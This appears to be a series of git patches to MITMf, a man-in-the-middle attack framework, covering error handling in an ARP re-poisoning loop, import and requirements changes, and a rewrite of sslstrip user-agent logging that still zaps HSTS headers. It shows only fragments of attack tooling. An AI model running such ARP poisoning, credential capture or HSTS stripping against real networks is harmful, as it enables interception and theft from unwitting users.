5b969e09fb4154a51ebddc61bd2113c5092092f2 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 10 Jun 2015 19:42:23 +0200 Subject: [PATCH 198/323] added error handling into ARPWatch, removed a useless (i think) lib from requirements.txt --- core/poisoners/arp/ARPWatch.py | 5 +++-- requirements.txt | 1 - 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/core/poisoners/arp/ARPWatch.py b/core/poisoners/arp/ARPWatch.py index 0c45ef6..10470e5 100644 --- a/core/poisoners/arp/ARPWatch.py +++ b/core/poisoners/arp/ARPWatch.py @@ -82,6 +82,7 @@ class ARPWatch: try: if packet is not None: send(packet, verbose=self.debug, iface=self.interface) - except Exception, e: - mitmf_logger.error("[ARPWatch] Error sending re-poison packet: {}".format(e)) + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e)) pass diff --git a/requirements.txt b/requirements.txt index 5c50c81..8c65b16 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,7 +3,6 @@ requests netaddr scapy msgpack-python -dnspython dnslib configobj Pillow From aa246130e28e1e753ff0d50eccb9a5e945ef98c6 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 11 Jun 2015 22:05:22 +0200 Subject: [PATCH 199/323] updated requirements.txt, changed imports to mitmflib --- .gitignore | 58 ++++++++++++++++++++++++++++- core/configwatcher.py | 4 +- core/netcreds/NetCreds.py | 2 +- core/poisoners/arp/ARPWatch.py | 2 +- core/poisoners/arp/ARPpoisoner.py | 2 +- core/poisoners/dhcp/DHCPpoisoner.py | 2 +- core/poisoners/icmp/ICMPpoisoner.py | 2 +- core/servers/dns/DNSchef.py | 2 +- core/servers/smb/KarmaSMB.py | 12 +++--- core/servers/smb/SMBserver.py | 2 +- core/utils.py | 2 +- plugins/Spoof.py | 2 +- requirements.txt | 5 +-- 13 files changed, 75 insertions(+), 22 deletions(-) diff --git a/.gitignore b/.gitignore index fad281d..0860090 100644 --- a/.gitignore +++ b/.gitignore @@ -1,3 +1,59 @@ -*.pyc /plugins/old_plugins/ backdoored/ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] + +# C extensions +*.so + +# Distribution / packaging +.Python +env/ +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib/ +lib64/ +parts/ +sdist/ +var/ +*.egg-info/ +.installed.cfg +*.egg + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*,cover + +# Translations +*.mo +*.pot + +# Django stuff: +*.log + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ diff --git a/core/configwatcher.py b/core/configwatcher.py index 2da6962..beb8061 100644 --- a/core/configwatcher.py +++ b/core/configwatcher.py @@ -1,8 +1,8 @@ #! /usr/bin/env python2.7 import logging -from watchdog.observers import Observer -from watchdog.events import FileSystemEventHandler +from mitmflib.watchdog.observers import Observer +from mitmflib.watchdog.events import FileSystemEventHandler from configobj import ConfigObj logging.getLogger("watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py index 451729b..328974b 100644 --- a/core/netcreds/NetCreds.py +++ b/core/netcreds/NetCreds.py @@ -17,7 +17,7 @@ from urllib import unquote # shut up scapy logging.getLogger("scapy.runtime").setLevel(logging.ERROR) -from scapy.all import * +from mitmflib.scapy.all import * conf.verb=0 mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/arp/ARPWatch.py b/core/poisoners/arp/ARPWatch.py index 10470e5..55faf04 100644 --- a/core/poisoners/arp/ARPWatch.py +++ b/core/poisoners/arp/ARPWatch.py @@ -3,7 +3,7 @@ import os import sys import threading -from scapy.all import * +from mitmflib.scapy.all import * from core.utils import shutdown mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py index 8816665..4e896b7 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -5,7 +5,7 @@ from traceback import print_exc from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError from time import sleep from core.utils import shutdown -from scapy.all import * +from mitmflib.scapy.all import * mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/dhcp/DHCPpoisoner.py index aa23cc8..d3169cc 100644 --- a/core/poisoners/dhcp/DHCPpoisoner.py +++ b/core/poisoners/dhcp/DHCPpoisoner.py @@ -4,7 +4,7 @@ import binascii import random logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import * +from mitmflib.scapy.all import * mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/icmp/ICMPpoisoner.py b/core/poisoners/icmp/ICMPpoisoner.py index a23bf4b..c77d1bc 100644 --- a/core/poisoners/icmp/ICMPpoisoner.py +++ b/core/poisoners/icmp/ICMPpoisoner.py @@ -30,7 +30,7 @@ from time import sleep #from netfilterqueue import NetfilterQueue logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import * +from mitmflib.scapy.all import * mitmf_logger = logging.getLogger('mitmf') diff --git a/core/servers/dns/DNSchef.py b/core/servers/dns/DNSchef.py index 69f3681..9cf829d 100755 --- a/core/servers/dns/DNSchef.py +++ b/core/servers/dns/DNSchef.py @@ -43,7 +43,7 @@ from configobj import ConfigObj from core.configwatcher import ConfigWatcher from core.utils import shutdown -from dnslib import * +from mitmflib.dnslib import * from IPy import IP formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S") diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/smb/KarmaSMB.py index 3c7cd59..d363c93 100644 --- a/core/servers/smb/KarmaSMB.py +++ b/core/servers/smb/KarmaSMB.py @@ -56,13 +56,13 @@ import logging import ntpath import ConfigParser -from impacket import LOG as logger -from impacket import smbserver, smb, version -import impacket.smb3structs as smb2 -from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE -from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ +from mitmflib.impacket import LOG as logger +from mitmflib.impacket import smbserver, smb, version +import mitmflib.impacket.smb3structs as smb2 +from mitmflib.impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE +from mitmflib.impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ STATUS_OBJECT_PATH_NOT_FOUND -from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ +from mitmflib.impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ getFileTime, queryPathInformation class KarmaSMBServer(): diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index 8a86477..0c7f47c 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -4,7 +4,7 @@ import threading import os from socket import error as socketerror -from impacket import version, smbserver, LOG +from mitmflib.impacket import version, smbserver, LOG from core.servers.smb.KarmaSMB import KarmaSMBServer from core.configwatcher import ConfigWatcher from core.utils import shutdown diff --git a/core/utils.py b/core/utils.py index 42a9aa2..f90d51d 100644 --- a/core/utils.py +++ b/core/utils.py @@ -26,7 +26,7 @@ import re import sys logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from scapy.all import get_if_addr, get_if_hwaddr +from mitmflib.scapy.all import get_if_addr, get_if_hwaddr from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger('mitmf') diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 37379fd..fef8cd9 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -25,7 +25,7 @@ from core.servers.dns.DNSchef import DNSChef from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner from plugins.plugin import Plugin -from scapy.all import * +from mitmflib.scapy.all import * class Spoof(Plugin): name = "Spoof" diff --git a/requirements.txt b/requirements.txt index 8c65b16..0c9da76 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,16 +1,13 @@ Twisted requests netaddr -scapy msgpack-python -dnslib configobj +mitmflib Pillow pefile ipy pyopenssl service_identity -watchdog -impacket capstone pypcap \ No newline at end of file From b73ac99de3a0db52760e6c96bc633a7599935136 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 11 Jun 2015 22:27:31 +0200 Subject: [PATCH 200/323] re-added scapy, changed imports --- core/netcreds/NetCreds.py | 2 +- core/poisoners/arp/ARPWatch.py | 2 +- core/poisoners/arp/ARPpoisoner.py | 2 +- core/poisoners/dhcp/DHCPpoisoner.py | 2 +- core/poisoners/icmp/ICMPpoisoner.py | 2 +- core/utils.py | 2 +- plugins/Spoof.py | 2 +- requirements.txt | 1 + 8 files changed, 8 insertions(+), 7 deletions(-) diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py index 328974b..451729b 100644 --- a/core/netcreds/NetCreds.py +++ b/core/netcreds/NetCreds.py @@ -17,7 +17,7 @@ from urllib import unquote # shut up scapy logging.getLogger("scapy.runtime").setLevel(logging.ERROR) -from mitmflib.scapy.all import * +from scapy.all import * conf.verb=0 mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/arp/ARPWatch.py b/core/poisoners/arp/ARPWatch.py index 55faf04..10470e5 100644 --- a/core/poisoners/arp/ARPWatch.py +++ b/core/poisoners/arp/ARPWatch.py @@ -3,7 +3,7 @@ import os import sys import threading -from mitmflib.scapy.all import * +from scapy.all import * from core.utils import shutdown mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py index 4e896b7..8816665 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -5,7 +5,7 @@ from traceback import print_exc from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError from time import sleep from core.utils import shutdown -from mitmflib.scapy.all import * +from scapy.all import * mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/dhcp/DHCPpoisoner.py index d3169cc..aa23cc8 100644 --- a/core/poisoners/dhcp/DHCPpoisoner.py +++ b/core/poisoners/dhcp/DHCPpoisoner.py @@ -4,7 +4,7 @@ import binascii import random logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from mitmflib.scapy.all import * +from scapy.all import * mitmf_logger = logging.getLogger('mitmf') diff --git a/core/poisoners/icmp/ICMPpoisoner.py b/core/poisoners/icmp/ICMPpoisoner.py index c77d1bc..a23bf4b 100644 --- a/core/poisoners/icmp/ICMPpoisoner.py +++ b/core/poisoners/icmp/ICMPpoisoner.py @@ -30,7 +30,7 @@ from time import sleep #from netfilterqueue import NetfilterQueue logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from mitmflib.scapy.all import * +from scapy.all import * mitmf_logger = logging.getLogger('mitmf') diff --git a/core/utils.py b/core/utils.py index f90d51d..42a9aa2 100644 --- a/core/utils.py +++ b/core/utils.py @@ -26,7 +26,7 @@ import re import sys logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy -from mitmflib.scapy.all import get_if_addr, get_if_hwaddr +from scapy.all import get_if_addr, get_if_hwaddr from core.sergioproxy.ProxyPlugins import ProxyPlugins mitmf_logger = logging.getLogger('mitmf') diff --git a/plugins/Spoof.py b/plugins/Spoof.py index fef8cd9..37379fd 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -25,7 +25,7 @@ from core.servers.dns.DNSchef import DNSChef from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner from plugins.plugin import Plugin -from mitmflib.scapy.all import * +from scapy.all import * class Spoof(Plugin): name = "Spoof" diff --git a/requirements.txt b/requirements.txt index 0c9da76..853e415 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,6 +1,7 @@ Twisted requests netaddr +scapy msgpack-python configobj mitmflib From 882e3b6d0766e89ee06fa744a003fa5cf44eaafa Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 12 Jun 2015 00:07:50 +0200 Subject: [PATCH 201/323] Update requirements.txt --- requirements.txt | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 8c65b16..78d01dc 100644 --- a/requirements.txt +++ b/requirements.txt @@ -3,6 +3,7 @@ requests netaddr scapy msgpack-python +dnspython dnslib configobj Pillow @@ -13,4 +14,4 @@ service_identity watchdog impacket capstone -pypcap \ No newline at end of file +pypcap From 7fc75d7bf8f8d75d504ccee86f8e81bd525c4b22 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Fri, 12 Jun 2015 01:36:12 +0200 Subject: [PATCH 202/323] changed ServerConnection.py back over to user_agents! --- core/httpagentparser.py | 673 ------------------------------ core/sslstrip/ServerConnection.py | 21 +- requirements.txt | 3 + 3 files changed, 9 insertions(+), 688 deletions(-) delete mode 100644 core/httpagentparser.py diff --git a/core/httpagentparser.py b/core/httpagentparser.py deleted file mode 100644 index 0c739ac..0000000 --- a/core/httpagentparser.py +++ /dev/null @@ -1,673 +0,0 @@ -# -#httpagentparser library, stolen from https://github.com/shon/httpagentparser -# - -""" -Extract client information from http user agent -The module does not try to detect all capabilities of browser in current form (it can easily be extended though). -Tries to - * be fast - * very easy to extend - * reliable enough for practical purposes - * assist python web apps to detect clients. -""" - -__version__ = '1.7.7' - - -class DetectorsHub(dict): - _known_types = ['os', 'dist', 'flavor', 'browser'] - - def __init__(self, *args, **kw): - dict.__init__(self, *args, **kw) - for typ in self._known_types: - self.setdefault(typ, []) - self.registerDetectors() - - def register(self, detector): - if detector.info_type not in self._known_types: - self[detector.info_type] = [detector] - self._known_types.insert(detector.order, detector.info_type) - else: - self[detector.info_type].append(detector) - - def __iter__(self): - return iter(self._known_types) - - def registerDetectors(self): - detectors = [v() for v in globals().values() if DetectorBase in getattr(v, '__mro__', [])] - for d in detectors: - if d.can_register: - self.register(d) - - -class DetectorBase(object): - name = "" # "to perform match in DetectorsHub object" - info_type = "override me" - result_key = "override me" - order = 10 # 0 is highest - look_for = "string to look for" - skip_if_found = [] # strings if present stop processin - can_register = False - version_markers = [("/", " ")] - allow_space_in_version = False - _suggested_detectors = None - platform = None - bot = False - - def __init__(self): - if not self.name: - self.name = self.__class__.__name__ - self.can_register = (self.__class__.__dict__.get('can_register', True)) - - def detect(self, agent, result): - # -> True/None - word = self.checkWords(agent) - if word: - result[self.info_type] = dict(name=self.name) - result['bot'] = self.bot - version = self.getVersion(agent, word) - if version: - result[self.info_type]['version'] = version - if self.platform: - result['platform'] = {'name': self.platform, 'version': version} - return True - - def checkWords(self, agent): - # -> True/None - for w in self.skip_if_found: - if w in agent: - return False - if isinstance(self.look_for, (tuple, list)): - for word in self.look_for: - if word in agent: - return word - elif self.look_for in agent: - return self.look_for - - def getVersion(self, agent, word): - """ - => version string /None - """ - version_markers = self.version_markers if \ - isinstance(self.version_markers[0], (list, tuple)) else [self.version_markers] - version_part = agent.split(word, 1)[-1] - for start, end in version_markers: - if version_part.startswith(start) and end in version_part: - version = version_part[1:] - if end: # end could be empty string - version = version.split(end)[0] - if not self.allow_space_in_version: - version = version.split()[0] - return version - - -class OS(DetectorBase): - info_type = "os" - can_register = False - version_markers = [";", " "] - allow_space_in_version = True - platform = None - - -class Dist(DetectorBase): - info_type = "dist" - can_register = False - platform = None - - -class Flavor(DetectorBase): - info_type = "flavor" - can_register = False - platform = None - - -class Browser(DetectorBase): - info_type = "browser" - can_register = False - - -class Firefox(Browser): - look_for = "Firefox" - version_markers = [('/', '')] - skip_if_found = ["SeaMonkey", "web/snippet"] - - -class SeaMonkey(Browser): - look_for = "SeaMonkey" - version_markers = [('/', '')] - - -class Konqueror(Browser): - look_for = "Konqueror" - version_markers = ["/", ";"] - - -class OperaMobile(Browser): - look_for = "Opera Mobi" - name = "Opera Mobile" - - def getVersion(self, agent, word): - try: - look_for = "Version" - return agent.split(look_for)[1][1:].split(' ')[0] - except IndexError: - look_for = "Opera" - return agent.split(look_for)[1][1:].split(' ')[0] - - -class Opera(Browser): - look_for = "Opera" - - def getVersion(self, agent, word): - try: - look_for = "Version" - return agent.split(look_for)[1][1:].split(' ')[0] - except IndexError: - look_for = "Opera" - version = agent.split(look_for)[1][1:].split(' ')[0] - return version.split('(')[0] - - -class OperaNew(Browser): - """ - Opera after version 15 - """ - name = "Opera" - look_for = "OPR" - version_markers = [('/', '')] - - -class Netscape(Browser): - look_for = "Netscape" - version_markers = [("/", '')] - - -class Trident(Browser): - look_for = "Trident" - skip_if_found = ["MSIE", "Opera"] - name = "IE" - version_markers = ["/", ";"] - trident_to_ie_versions = { - '4.0': '8.0', - '5.0': '9.0', - '6.0': '10.0', - '7.0': '11.0', - } - - def getVersion(self, agent, word): - return self.trident_to_ie_versions.get(super(Trident, self).getVersion(agent, word)) - - -class MSIE(Browser): - look_for = "MSIE" - skip_if_found = ["Opera"] - name = "IE" - version_markers = [" ", ";"] - - -class Galeon(Browser): - look_for = "Galeon" - - -class WOSBrowser(Browser): - look_for = "wOSBrowser" - - def getVersion(self, agent, word): - pass - - -class Safari(Browser): - look_for = "Safari" - - def checkWords(self, agent): - unless_list = ["Chrome", "OmniWeb", "wOSBrowser", "Android"] - if self.look_for in agent: - for word in unless_list: - if word in agent: - return False - return self.look_for - - def getVersion(self, agent, word): - if "Version/" in agent: - return agent.split('Version/')[-1].split(' ')[0].strip() - if "Safari/" in agent: - return agent.split('Safari/')[-1].split(' ')[0].strip() - else: - return agent.split('Safari ')[-1].split(' ')[0].strip() # Mobile Safari - -class GoogleBot(Browser): - # https://support.google.com/webmasters/answer/1061943 - look_for = ["Googlebot", "Googlebot-News", "Googlebot-Image", - "Googlebot-Video", "Googlebot-Mobile", "Mediapartners-Google", - "Mediapartners", "AdsBot-Google", "web/snippet"] - bot = True - version_markers = [('/', ';'), ('/', ' ')] - -class GoogleFeedFetcher(Browser): - look_for = "Feedfetcher-Google" - bot = True - - def get_version(self, agent): - pass - -class RunscopeRadar(Browser): - look_for = "runscope-radar" - bot = True - -class GoogleAppEngine(Browser): - look_for = "AppEngine-Google" - bot = True - - def get_version(self, agent): - pass - -class GoogleApps(Browser): - look_for = "GoogleApps script" - bot = True - - def get_version(self, agent): - pass - -class TwitterBot(Browser): - look_for = "Twitterbot" - bot = True - -class MJ12Bot(Browser): - look_for = "MJ12bot" - bot = True - -class YandexBot(Browser): - # http://help.yandex.com/search/robots/agent.xml - look_for = "Yandex" - bot = True - - def getVersion(self, agent, word): - return agent[agent.index('Yandex'):].split('/')[-1].split(')')[0].strip() - -class BingBot(Browser): - look_for = "bingbot" - version_markers = ["/", ";"] - bot = True - - -class BaiduBot(Browser): - # http://help.baidu.com/question?prod_en=master&class=1&id=1000973 - look_for = ["Baiduspider", "Baiduspider-image", "Baiduspider-video", - "Baiduspider-news", "Baiduspider-favo", "Baiduspider-cpro", - "Baiduspider-ads"] - bot = True - version_markers = ('/', ';') - - -class LinkedInBot(Browser): - look_for = "LinkedInBot" - bot = True - -class ArchiveDotOrgBot(Browser): - look_for = "archive.org_bot" - bot = True - -class YoudaoBot(Browser): - look_for = "YoudaoBot" - bot = True - -class YoudaoBotImage(Browser): - look_for = "YodaoBot-Image" - bot = True - -class RogerBot(Browser): - look_for = "rogerbot" - bot = True - -class TweetmemeBot(Browser): - look_for = "TweetmemeBot" - bot = True - -class WebshotBot(Browser): - look_for = "WebshotBot" - bot = True - -class SensikaBot(Browser): - look_for = "SensikaBot" - bot = True - -class YesupBot(Browser): - look_for = "YesupBot" - bot = True - -class DotBot(Browser): - look_for = "DotBot" - bot = True - -class PhantomJS(Browser): - look_for = "Browser/Phantom" - bot = True - -class FacebookExternalHit(Browser): - look_for = 'facebookexternalhit' - bot = True - - -class NokiaOvi(Browser): - look_for = "S40OviBrowser" - -class UCBrowser(Browser): - look_for = "UCBrowser" - -class BrowserNG(Browser): - look_for = "BrowserNG" - -class Dolfin(Browser): - look_for = 'Dolfin' - -class NetFront(Browser): - look_for = 'NetFront' - -class Jasmine(Browser): - look_for = 'Jasmine' - -class Openwave(Browser): - look_for = 'Openwave' - -class UPBrowser(Browser): - look_for = 'UP.Browser' - -class OneBrowser(Browser): - look_for = 'OneBrowser' - -class ObigoInternetBrowser(Browser): - look_for = 'ObigoInternetBrowser' - -class TelecaBrowser(Browser): - look_for = 'TelecaBrowser' - -class MAUI(Browser): - look_for = 'Browser/MAUI' - - def getVersion(self, agent, word): - version = agent.split("Release/")[-1][:10] - return version - - -class NintendoBrowser(Browser): - look_for = 'NintendoBrowser' - - -class AndroidBrowser(Browser): - look_for = "Android" - skip_if_found = ['Chrome', 'Windows Phone'] - - # http://decadecity.net/blog/2013/11/21/android-browser-versions - def getVersion(self, agent, word): - pass - - -class Linux(OS): - look_for = 'Linux' - platform = 'Linux' - - def getVersion(self, agent, word): - pass - - -class Blackberry(OS): - look_for = 'BlackBerry' - platform = 'BlackBerry' - - def getVersion(self, agent, word): - pass - - -class BlackberryPlaybook(Dist): - look_for = 'PlayBook' - platform = 'BlackBerry' - - def getVersion(self, agent, word): - pass - - -class WindowsPhone(OS): - name = "Windows Phone" - platform = 'Windows' - look_for = ["Windows Phone OS", "Windows Phone"] - version_markers = [(" ", ";"), (" ", ")")] - - -class iOS(OS): - look_for = ('iPhone', 'iPad') - skip_if_found = ['like iPhone'] - - -class iPhone(Dist): - look_for = 'iPhone' - platform = 'iOS' - skip_if_found = ['like iPhone'] - - def getVersion(self, agent, word): - version_end_chars = [' '] - if not "iPhone OS" in agent: - return None - part = agent.split('iPhone OS')[-1].strip() - for c in version_end_chars: - if c in part: - version = part.split(c)[0] - return version.replace('_', '.') - return None - - -class IPad(Dist): - look_for = 'iPad;' - platform = 'iOS' - - def getVersion(self, agent, word): - version_end_chars = [' '] - if not "CPU OS " in agent: - return None - part = agent.split('CPU OS ')[-1].strip() - for c in version_end_chars: - if c in part: - version = part.split(c)[0] - return version.replace('_', '.') - return None - - -class Macintosh(OS): - look_for = 'Macintosh' - - def getVersion(self, agent, word): - pass - - -class MacOS(Flavor): - look_for = 'Mac OS' - platform = 'Mac OS' - skip_if_found = ['iPhone', 'iPad'] - - def getVersion(self, agent, word): - version_end_chars = [';', ')'] - part = agent.split('Mac OS')[-1].strip() - for c in version_end_chars: - if c in part: - version = part.split(c)[0] - return version.replace('_', '.') - return '' - - -class Windows(Dist): - look_for = 'Windows' - platform = 'Windows' - - -class Windows(OS): - look_for = 'Windows' - platform = 'Windows' - skip_if_found = ["Windows Phone"] - win_versions = { - "NT 6.3": "8.1", - "NT 6.2": "8", - "NT 6.1": "7", - "NT 6.0": "Vista", - "NT 5.2": "Server 2003 / XP x64", - "NT 5.1": "XP", - "NT 5.01": "2000 SP1", - "NT 5.0": "2000", - "98; Win 9x 4.90": "Me" - } - - def getVersion(self, agent, word): - v = agent.split('Windows')[-1].split(';')[0].strip() - if ')' in v: - v = v.split(')')[0] - v = self.win_versions.get(v, v) - return v - - -class Ubuntu(Dist): - look_for = 'Ubuntu' - version_markers = ["/", " "] - - -class Debian(Dist): - look_for = 'Debian' - version_markers = ["/", " "] - - -class Chrome(Browser): - look_for = "Chrome" - version_markers = ["/", " "] - skip_if_found = ["OPR"] - - def getVersion(self, agent, word): - part = agent.split(word + self.version_markers[0])[-1] - version = part.split(self.version_markers[1])[0] - if '+' in version: - version = part.split('+')[0] - return version.strip() - - -class ChromeiOS(Browser): - look_for = "CriOS" - version_markers = ["/", " "] - - -class ChromeOS(OS): - look_for = "CrOS" - platform = ' ChromeOS' - version_markers = [" ", " "] - - def getVersion(self, agent, word): - version_markers = self.version_markers - if word + '+' in agent: - version_markers = ['+', '+'] - return agent.split(word + version_markers[0])[-1].split(version_markers[1])[1].strip()[:-1] - - -class Android(Dist): - look_for = 'Android' - platform = 'Android' - skip_if_found = ['Windows Phone'] - - def getVersion(self, agent, word): - return agent.split(word)[-1].split(';')[0].strip() - - -class WebOS(Dist): - look_for = 'hpwOS' - - def getVersion(self, agent, word): - return agent.split('hpwOS/')[-1].split(';')[0].strip() - - -class NokiaS40(OS): - look_for = 'Series40' - platform = 'Nokia S40' - - def getVersion(self, agent, word): - pass - - -class Symbian(OS): - look_for = ['Symbian', 'SymbianOS'] - platform = 'Symbian' - - -class PlayStation(OS): - look_for = ['PlayStation', 'PLAYSTATION'] - platform = 'PlayStation' - version_markers = [" ", ")"] - - -class prefs: # experimental - os = dict( - Linux=dict(dict(browser=[Firefox, Chrome], dist=[Ubuntu, Android])), - BlackBerry=dict(dist=[BlackberryPlaybook]), - Macintosh=dict(flavor=[MacOS]), - Windows=dict(browser=[MSIE, Firefox]), - ChromeOS=dict(browser=[Chrome]), - Debian=dict(browser=[Firefox]) - ) - dist = dict( - Ubuntu=dict(browser=[Firefox]), - Android=dict(browser=[Safari]), - IPhone=dict(browser=[Safari]), - IPad=dict(browser=[Safari]), - ) - flavor = dict( - MacOS=dict(browser=[Opera, Chrome, Firefox, MSIE]) - ) - - -detectorshub = DetectorsHub() - - -def detect(agent, fill_none=False): - """ - fill_none: if name/version is not detected respective key is still added to the result with value None - """ - result = dict(platform=dict(name=None, version=None)) - _suggested_detectors = [] - - for info_type in detectorshub: - detectors = _suggested_detectors or detectorshub[info_type] - for detector in detectors: - try: - detector.detect(agent, result) - except Exception as _err: - pass - - if fill_none: - attrs_d = {'name': None, 'version': None} - for key in ('os', 'browser'): - if key not in result: - result[key] = attrs_d - else: - for k, v in attrs_d.items(): - result[k] = v - - return result - - -def simple_detect(agent): - """ - -> (os, browser) # tuple of strings - """ - result = detect(agent) - os_list = [] - if 'flavor' in result: - os_list.append(result['flavor']['name']) - if 'dist' in result: - os_list.append(result['dist']['name']) - if 'os' in result: - os_list.append(result['os']['name']) - - os = os_list and " ".join(os_list) or "Unknown OS" - os_version = os_list and (result.get('flavor') and result['flavor'].get('version')) or \ - (result.get('dist') and result['dist'].get('version')) or (result.get('os') and result['os'].get('version')) or "" - browser = 'browser' in result and result['browser'].get('name') or 'Unknown Browser' - browser_version = 'browser' in result and result['browser'].get('version') or "" - if browser_version: - browser = " ".join((browser, browser_version)) - if os_version: - os = " ".join((os, os_version)) - return os, browser diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 8e9525c..f751746 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -24,8 +24,8 @@ import zlib import gzip import StringIO import sys -import core.httpagentparser as hap +from mitmflib.user_agents import parse from twisted.web.http import HTTPClient from URLMonitor import URLMonitor from core.sergioproxy.ProxyPlugins import ProxyPlugins @@ -72,15 +72,12 @@ class ServerConnection(HTTPClient): def sendRequest(self): if self.command == 'GET': try: - - if ('Unknown' in self.clientInfo[0]) or ('Unknown' in self.clientInfo[1]): - mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) - else: - mitmf_logger.info("{} [type:{} os:{}] Sending Request: {}".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0], self.headers['host'])) - + user_agent = parse(self.headers['user-agent']) + self.clientInfo = (user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family) + mitmf_logger.info("{} [type:{}-{} os:{}] {}".format(self.client.getClientIP(), user_agent.browser.family, user_agent.browser.version[0], user_agent.os.family, self.headers['host'])) except Exception as e: mitmf_logger.debug("[ServerConnection] Unable to parse UA: {}".format(e)) - mitmf_logger.info("{} Sending Request: {}".format(self.client.getClientIP(), self.headers['host'])) + mitmf_logger.info("{} Sending request: {}".format(self.client.getClientIP(), self.headers['host'])) pass mitmf_logger.debug("[ServerConnection] Full request: {}{}".format(self.headers['host'], self.uri)) @@ -110,12 +107,6 @@ class ServerConnection(HTTPClient): def connectionMade(self): mitmf_logger.debug("[ServerConnection] HTTP connection made.") - try: - self.clientInfo = hap.simple_detect(self.headers['user-agent']) - except KeyError as e: - mitmf_logger.debug("[ServerConnection] Client didn't send UA with request") - self.clientInfo = None - pass self.plugins.hook() self.sendRequest() @@ -152,7 +143,7 @@ class ServerConnection(HTTPClient): self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - mitmf_logger.info("{} [type:{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[1], self.clientInfo[0])) + mitmf_logger.info("{} [type:{}-{} os:{}] Zapped a strict-trasport-security header".format(self.client.getClientIP(), self.clientInfo[0], self.clientInfo[1], self.clientInfo[2])) elif (key.lower() == 'content-length'): self.contentLength = value diff --git a/requirements.txt b/requirements.txt index 853e415..7434136 100644 --- a/requirements.txt +++ b/requirements.txt @@ -2,6 +2,9 @@ Twisted requests netaddr scapy +dnspython +cryptography +pycrypto 